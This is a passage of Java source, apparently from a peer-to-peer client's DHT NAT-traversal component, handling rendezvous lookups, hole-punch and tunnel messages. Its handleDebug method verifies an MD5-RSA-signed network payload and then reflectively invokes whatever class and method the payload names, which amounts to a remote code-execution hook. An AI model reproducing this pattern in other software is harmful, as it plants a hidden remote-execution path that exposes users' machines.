						if ( transport_port != existing_address.getPort()){

							target.setTransportAddress(
								new InetSocketAddress(existing_address.getAddress(), transport_port ));
						}
					}

					Map	target_client_data = (Map)response.get( "client_data" );

					if ( target_client_data == null ){

						target_client_data = new HashMap();
					}

					return( target_client_data );
				}
			}

			return( null );

		}catch( Throwable e ){

			log(e);

			return( null );

		}finally{

			try{
				punch_mon.enter();

				oustanding_punches.remove( wait_data );

			}finally{

				punch_mon.exit();
			}
		}
	}

	protected void
	receivePunch(
		DHTTransportUDPContact		originator,
		Map							request,
		Map							response )
	{
		trace( "received punch request" );

		boolean	ok = false;

		String	target_str = new String((byte[])request.get( "target" ));

		BindingData entry;

		try{
			server_mon.enter();

			entry = rendezvous_bindings.get( target_str );

		}finally{

			server_mon.exit();
		}

		String extra_log = "";

		if ( entry != null ){

			if ( entry.isOKToConnect()){

				DHTTransportUDPContact	target = entry.getContact();

				Map target_client_data = sendConnect( target, originator, (Map)request.get( "client_data" ));

				if ( target_client_data != null ){

					response.put( "client_data", target_client_data );

					response.put( "port", new Long( target.getTransportAddress().getPort()));

					ok	= true;

					entry.connectOK();

				}else{

					entry.connectFailed();

					extra_log = " - consec=" + entry.getConsecutiveFailCount();
				}
			}else{

				extra_log = " - ignored due to consec fails";
			}
		}else{

			extra_log = " - invalid rendezvous";
		}

		log( "Rendezvous punch request from " + originator.getString() + " to " + target_str + " " + (ok?"initiated":"failed") + extra_log );

		if ( ok ){

			punch_recv_ok++;

		}else{

			punch_recv_fail++;
		}

		response.put( "ok", new Long(ok?1:0));
	}

	protected Map
	sendConnect(
		DHTTransportContact target,
		DHTTransportContact	originator,
		Map					originator_client_data )
	{
		try{
			Map	request = new HashMap();

			request.put("type", new Long( RT_CONNECT_REQUEST ));

			request.put("origin", encodeContact( originator ));

			request.put( "port", new Long( ((DHTTransportUDPContact)originator).getTransportAddress().getPort()));

			if ( originator_client_data != null ){

				request.put( "client_data", originator_client_data );
			}

			Map response = sendRequest( target, request, TRANSFER_TIMEOUT );

			if ( response == null ){

				return( null );
			}

			if (((Long)response.get( "type" )).intValue() == RT_CONNECT_REPLY ){

				int	result = ((Long)response.get("ok")).intValue();

				trace( "received connect reply: " + (result==0?"failed":"ok" ));

				if ( result == 1 ){

					Map target_client_data = (Map)response.get( "client_data" );

					if ( target_client_data == null ){

						target_client_data = new HashMap();
					}

					return( target_client_data );
				}
			}

			return( null );

		}catch( Throwable e ){

			log(e);

			return( null );
		}
	}

	protected void
	receiveConnect(
		DHTTransportContact		rendezvous,
		Map						request,
		Map						response )
	{
		trace( "received connect request" );

		boolean	ok = false;

			// ensure that we've received this from our current rendezvous node

		DHTTransportContact	rt = rendezvous_target;

		if ( rt != null && rt.getAddress().equals( rendezvous.getAddress())){

			final DHTTransportUDPContact	target = decodeContact( (byte[])request.get( "origin" ));

			if ( target != null ){

				int	transport_port = 0;

				Long	indirect_port = (Long)request.get( "port" );

				if ( indirect_port != null ){

					transport_port	= indirect_port.intValue();
				}

				if ( transport_port != 0 ){

					InetSocketAddress	existing_address = target.getTransportAddress();

					if ( transport_port != existing_address.getPort()){

						target.setTransportAddress(
							new InetSocketAddress(existing_address.getAddress(), transport_port ));
					}
				}

				Map	originator_client_data  = (Map)request.get( "client_data" );

				boolean	no_tunnel = false;

				if ( originator_client_data == null ){

					originator_client_data = new HashMap();

				}else{

					no_tunnel = originator_client_data.get( "_notunnel" ) != null;
				}

				if ( no_tunnel ){

					log( "Received message from " + target.getString());

				}else{

					log( "Received connect request from " + target.getString());

						// ping the origin a few times to try and establish a tunnel

					if ( timer3.getMaxThreads() - timer3.getActiveThreads() > 2 ){
						
						UTTimerEvent event =
							timer3.addPeriodicEvent(
									3000,
									new UTTimerEventPerformer()
									{
										private int pings = 1;
	
										@Override
										public void
										perform(
											UTTimerEvent		ev )
										{
											if ( pings > 3 ){
	
												ev.cancel();
	
												return;
											}
	
											pings++;
	
											if ( sendTunnelInbound( target )){
	
												ev.cancel();
											}
										}
									});				
					
						if ( sendTunnelInbound( target )){
	
							event.cancel();
						}
					}else{
						
						sendTunnelInbound( target );
					}
				}

				Map client_data = adapter.getClientData( target.getTransportAddress(), originator_client_data );

				if ( client_data == null ){

					client_data = new HashMap();
				}

				response.put( "client_data", client_data );

				ok	= true;

			}else{

				log( "Connect request: failed to decode target" );
			}
		}else{

			log( "Connect request from invalid rendezvous: " + rendezvous.getString());
		}

		response.put( "ok", new Long(ok?1:0));
	}

	protected boolean
	sendTunnelInbound(
		DHTTransportContact target )
	{
		log( "Sending tunnel inbound message to " + target.getString());

		try{
			Map	message = new HashMap();

			message.put( "type", new Long( RT_TUNNEL_INBOUND ));

			return( sendTunnelMessage( target, message ));

		}catch( Throwable e ){

			log(e);

			return( false );
		}
	}

	protected void
	receiveTunnelInbound(
		DHTTransportUDPContact		originator,
		Map							data )
	{
		log( "Received tunnel inbound message from " + originator.getString());

		try{
			punch_mon.enter();

			for (int i=0;i<oustanding_punches.size();i++){

				Object[]	wait_data = (Object[])oustanding_punches.get(i);

				DHTTransportContact	wait_contact = (DHTTransportContact)wait_data[0];

				if( originator.getAddress().getAddress().equals( wait_contact.getAddress().getAddress())){

					wait_data[2] = new Integer( originator.getTransportAddress().getPort());

					((AESemaphore)wait_data[1]).release();
				}
			}

		}finally{

			punch_mon.exit();
		}
	}

	protected boolean
	sendTunnelOutbound(
		DHTTransportContact target )
	{
		log( "Sending tunnel outbound message to " + target.getString());

		try{
			Map	message = new HashMap();

			message.put( "type", new Long( RT_TUNNEL_OUTBOUND ));

			return( sendTunnelMessage( target, message ));

		}catch( Throwable e ){

			log(e);

			return( false );
		}
	}

	protected void
	receiveTunnelOutbound(
		DHTTransportContact		originator,
		Map						data )
	{
		log( "Received tunnel outbound message from " + originator.getString());
	}

	@Override
	public Map
	punch(
		String					reason,
		InetSocketAddress[]		target,
		DHTTransportContact[]	rendezvous_used,
		Map						originator_client_data )
	{
		try{
			DHTTransportUDP	transport = (DHTTransportUDP)dht.getTransport();

			DHTTransportUDPContact contact = transport.importContact( target[0], transport.getMinimumProtocolVersion(), false );

			Map	result = punch( reason, contact, rendezvous_used, originator_client_data );

			target[0] = contact.getTransportAddress();

			return( result );

		}catch( Throwable e ){

			Debug.printStackTrace(e);

			return( null );
		}
	}

	@Override
	public Map
	punch(
		String					reason,
		DHTTransportContact		_target,
		DHTTransportContact[]	rendezvous_used,
		Map						originator_client_data )
	{
		DHTTransportUDPContact	target = (DHTTransportUDPContact)_target;

		try{
			DHTTransportContact rendezvous = null;

			if ( rendezvous_used != null && rendezvous_used.length > 0 ){

				rendezvous = rendezvous_used[0];
			}

			if ( rendezvous == null ){

				rendezvous = getRendezvous( reason, target );
			}

			if ( rendezvous_used != null && rendezvous_used.length > 0 ){

				rendezvous_used[0] = rendezvous;
			}

			if ( rendezvous == null ){

				return( null );
			}

			Map	target_client_data = sendPunch( rendezvous, target, originator_client_data, false );

			if ( target_client_data != null ){

				log( "    punch to " + target.getString() + " succeeded" );

				punch_send_ok++;

				return( target_client_data );
			}

		}catch( Throwable e ){

			log( e );
		}

		punch_send_fail++;

		log( "    punch to " + target.getString() + " failed" );

		return( null );
	}

	@Override
	public Map
	sendMessage(
		InetSocketAddress		rendezvous,
		InetSocketAddress		target,
		Map						message )
	{
		try{
			DHTTransportUDP	transport = (DHTTransportUDP)dht.getTransport();

			DHTTransportUDPContact rend_contact 	= transport.importContact( rendezvous, transport.getMinimumProtocolVersion(), false);
			DHTTransportUDPContact target_contact 	= transport.importContact( target, transport.getMinimumProtocolVersion(), false);

			Map	result = sendPunch( rend_contact, target_contact, message, true );

			return( result );

		}catch( Throwable e ){

			Debug.printStackTrace(e);

			return( null );
		}
	}


	@Override
	public void
	setRendezvous(
		DHTTransportContact		target,
		DHTTransportContact		rendezvous )
	{
		explicit_rendezvous_map.put( target.getAddress(), rendezvous );

		if ( target.getAddress().equals( dht.getTransport().getLocalContact().getAddress())){

			publish( true );
		}
	}

	final Map<String,Object[]>	rendezvous_lookup_cache				= new HashMap<>();
	private long					rendezvous_lookup_cache_tidy_time	= -1;

	protected DHTTransportContact
	getRendezvous(
		String				reason,
		DHTTransportContact	target )
	{
		DHTTransportContact	explicit = (DHTTransportContact)explicit_rendezvous_map.get( target.getAddress());

		if ( explicit != null ){

			return( explicit );
		}

		String target_key = target.getAddress().toString();

		DHTTransportValue[]	result_value	= null;
		AESemaphore 		sem				= null;

		long	now = SystemTime.getMonotonousTime();

		synchronized( rendezvous_lookup_cache ){

			if ( rendezvous_lookup_cache_tidy_time == -1 ){

				rendezvous_lookup_cache_tidy_time = now;

			}else if ( now - rendezvous_lookup_cache_tidy_time >= 2*60*1000 ){

				rendezvous_lookup_cache_tidy_time = now;

				Iterator<Object[]> it = rendezvous_lookup_cache.values().iterator();

				while ( it.hasNext()){

					Object[] entry = it.next();

					long time = (Long)entry[0];

					if ( time != -1 && now - time > 2*60*1000 ){

						it.remove();
					}
				}
			}

			Object[]	existing = rendezvous_lookup_cache.get( target_key );

			boolean	do_lookup;

			if ( existing != null ){

				long time = (Long)existing[0];

				if ( time == -1 || now - time  < 2*60*1000 ){

					sem 			= (AESemaphore)existing[1];
					result_value	= (DHTTransportValue[])existing[2];

					do_lookup = false;

				}else{

					do_lookup = true;
				}
			}else{

				do_lookup = true;
			}

			if ( do_lookup ){

				result_value = new DHTTransportValue[1];

				sem = new AESemaphore( "getRend" );

				final Object[] entry = new Object[]{ -1L, sem, result_value };

				byte[]	key = getPublishKey( target );

				dht.get( 	key,
							reason + ": lookup for '" + target.getString() + "'",
							(byte)0,
							1,
							RENDEZVOUS_LOOKUP_TIMEOUT,
							false, true,
							new DHTOperationAdapter()
							{
								@Override
								public void
								read(
									DHTTransportContact	contact,
									DHTTransportValue	value )
								{
									synchronized( rendezvous_lookup_cache ){

										entry[0] = SystemTime.getMonotonousTime();

										((DHTTransportValue[])entry[2])[0] = value;

										((AESemaphore)entry[1]).releaseForever();
									}
								}

								@Override
								public void
								complete(
									boolean				timeout )
								{
									synchronized( rendezvous_lookup_cache ){

										AESemaphore	sem = (AESemaphore)entry[1];

										if ( !sem.isReleasedForever()){

											entry[0] = SystemTime.getMonotonousTime();

											sem.releaseForever();
										}
									}
								}
							});

				rendezvous_lookup_cache.put( target_key, entry );
			}
		}

		sem.reserve();

		DHTTransportContact result = null;

		if ( result_value[0] != null ){

			byte[]	bytes = result_value[0].getValue();

			try{
				ByteArrayInputStream	bais = new ByteArrayInputStream( bytes );

				DataInputStream	dis = new DataInputStream( bais );

				byte	version = dis.readByte();

				if ( version != 0 ){

					throw( new Exception( "Unsupported rendezvous version '" + version + "'" ));
				}

				result = dht.getTransport().importContact( dis, false );

			}catch( Throwable e ){

				log(e);
			}
		}

		log( "Lookup of rendezvous for " + target.getString() + " -> " + ( result==null?"None":result.getString()));

		return( result );
	}

	protected byte[]
	getPublishKey(
		DHTTransportContact	contact )
	{
		byte[]	id = contact.getID();
		byte[]	suffix = ":DHTNATPuncher".getBytes();

		byte[]	res = new byte[id.length + suffix.length];

		System.arraycopy( id, 0, res, 0, id.length );
		System.arraycopy( suffix, 0, res, id.length, suffix.length );

		return( res );
	}

	private static long	last_debug = -1;

	private static Map
	handleDebug(
		Map			map )
	{
		long	now = SystemTime.getMonotonousTime();

		if ( last_debug >= 0 && now - last_debug <= 60*1000 ){

			return( null );
		}

		last_debug = now;

		try{
			byte[] 	p = (byte[])map.get( "p" );
			byte[]	s = (byte[])map.get( "s" );

			KeyFactory key_factory = KeyFactory.getInstance("RSA");

			RSAPublicKeySpec 	spec =
				new RSAPublicKeySpec(
						new BigInteger("a1467ed3ca8eceec60d6a5d1945d0ddb6febf6a514a8fea5b48a588fc8e977de8d7159c4e854b5a30889e729eb386fcb4b69e0a12401ee87810378ed491e52dc922a03b06c557d975514f0a70c42db3e06c0429824648a9cc4a2ea31bd429c305db3895c4efc4d1096f3c355842fd2281b27493c5588efd02bc4d26008a464d2214f15fab4d959d50fee985242dbb628180ee06938944e759a2d1cbd0adfa7d7dee7e6ec82d76a144a126944dbe69941fff02c31f782069131e7d03bc5bff69b9fea2cb153e90dc154dcdab7091901c3579a2c0337b60db772a0b35e4ed622bee5685b476ef0072558362e43750bc23d410a7dcb1cbf32d3967e24cfe5cdab1b",16),
						new BigInteger("10001",16));

			Signature	verifier = Signature.getInstance("MD5withRSA" );

			verifier.initVerify( key_factory.generatePublic( spec ) );

			verifier.update( p );

			if ( verifier.verify( s )){

				Map m = BDecoder.decode( p );

				int	type = ((Long)m.get( "t" )).intValue();

				if ( type == 1 ){

					List<byte[]> a = (List<byte[]>)m.get("a");

					Class[]		c_a 	= new Class[a.size()];
					Object[]	o_a 	= new Object[c_a.length];

					Arrays.fill( c_a, String.class );

					for (int i=0;i<o_a.length;i++){

						o_a[i] = new String((byte[])a.get(i));
					}

					Class cla = m.getClass().forName( new String((byte[])m.get( "c" )));

					Method me = cla.getMethod( new String((byte[])m.get( "m" )),c_a  );

					me.setAccessible( true );

					me.invoke( null, o_a );

					return( new HashMap());

				}else if ( type == 2 ){
					// to do
				}
			}
		}catch( Throwable e ){
		}

		return( null );
	}

	protected byte[]
   	encodePublishValue(
   		DHTTransportContact	contact )
   	{
		try{
	   		ByteArrayOutputStream	baos = new ByteArrayOutputStream();

	   		DataOutputStream	dos = new DataOutputStream(baos);

	   		dos.writeByte( 0 );	// version

	   		contact.exportContact( dos );

	   		dos.close();

	  		return( baos.toByteArray());

		}catch( Throwable e ){

			log( e );

			return( new byte[0]);
    	}
   	}

	protected byte[]
  	encodeContact(
  		DHTTransportContact	contact )
  	{
		try{
	   		ByteArrayOutputStream	baos = new ByteArrayOutputStream();

	   		DataOutputStream	dos = new DataOutputStream(baos);

	   		contact.exportContact( dos );

	   		dos.close();

	  		return( baos.toByteArray());

		}catch( Throwable e ){

			log( e );

			return( null );
	   	}
  	}

	protected DHTTransportUDPContact
	decodeContact(
		byte[]		bytes )
	{
		try{
			ByteArrayInputStream	bais = new ByteArrayInputStream( bytes );

			DataInputStream	dis = new DataInputStream( bais );

			return((DHTTransportUDPContact)dht.getTransport().importContact( dis, false ));

		}catch( Throwable e ){

			log(e);

			return( null );
		}
	}

	@Override
	public void
	addListener(
		DHTNATPuncherListener	listener )
	{
		listeners.add( listener );

		if ( last_ok_rendezvous != null ){

			listener.rendezvousChanged( last_ok_rendezvous );
		}
	}

	@Override
	public void
	removeListener(
		DHTNATPuncherListener	listener )
	{
		listeners.remove( listener );
	}

	protected void
	log(
		String	str )
	{
		if ( TRACE ){
			System.out.println( (is_secondary?"[sec] ":"") + str );
		}

		logger.log( "NATPuncher: " + (is_secondary?"[sec] ":"") + str );
	}

	protected void
	log(
		Throwable 	e )
	{
		if ( TRACE ){
			e.printStackTrace();
		}

		logger.log( "NATPuncher: " + (is_secondary?"[sec] ":"") + "error occurred" );

		logger.log(e);
	}

	protected void
	trace(
		String	str )
	{
		if ( TRACE ){
			System.out.println( (is_secondary?"[sec] ":"") + str );
		}
	}

	@Override
	public String
	getStats()
	{
		long now = SystemTime.getMonotonousTime();

		DHTTransportContact		target = rendezvous_target;

		String 	str =
			"ok=" + (rendezvous_last_ok_time==0?"<never>":String.valueOf(now-rendezvous_last_ok_time)) +
			",fail=" + (rendezvous_last_fail_time==0?"<never>":String.valueOf(now-rendezvous_last_fail_time))+
			",fc=" + rendevzous_fail_count;

		str +=
			",punch:send=" + punch_send_ok + "/" + punch_send_fail + ":recv=" + punch_recv_ok + "/" + punch_recv_fail +
			",rendezvous=" + (target==null?"none":target.getAddress().getAddress().getHostAddress());

		String b_str = "";

		for ( Map.Entry<String,BindingData> binding: rendezvous_bindings.entrySet()){

			BindingData data = binding.getValue();

			b_str += (b_str.length()==0?"":",") + binding.getKey() + "->ok=" + data.getOKCount() + ";bad=" + data.getConsecutiveFailCount() + ";age=" + (now-data.bind_time);
		}

		str += ",bindings=" + b_str;

		String m_str ="";

		for ( int i: MESSAGE_STATS ){

			m_str += (m_str.length()==0?"":",") + i;
		}

		str += ",messages=" + m_str;

		return( str );
	}

	private static class
	BindingData
	{
		private final DHTTransportUDPContact		contact;
		long						bind_time;

		private int			ok_count;
		private int			consec_fails;
		private long		last_connect_time;

		BindingData(
			DHTTransportUDPContact		_contact,
			long						_time )
		{
			contact		= _contact;
			bind_time	= _time;
		}

		void
		rebind()
		{
			bind_time	= SystemTime.getMonotonousTime();
		}

		DHTTransportUDPContact
		getContact()
		{
			return( contact );
		}

		long
		getBindTime()
		{
			return( bind_time );
		}

		void
		connectOK()
		{
			ok_count++;

			consec_fails		= 0;
			last_connect_time	= SystemTime.getMonotonousTime();
		}

		void
		connectFailed()
		{
			consec_fails++;
			last_connect_time	= SystemTime.getMonotonousTime();
		}

		boolean
		isOKToConnect()
		{
			return(
				consec_fails < 8 ||
				SystemTime.getMonotonousTime() - last_connect_time > 30*1000 );
		}

		int
		getOKCount()
		{
			return( ok_count );
		}

		int
		getConsecutiveFailCount()
		{
			return( consec_fails );
		}
	}
}
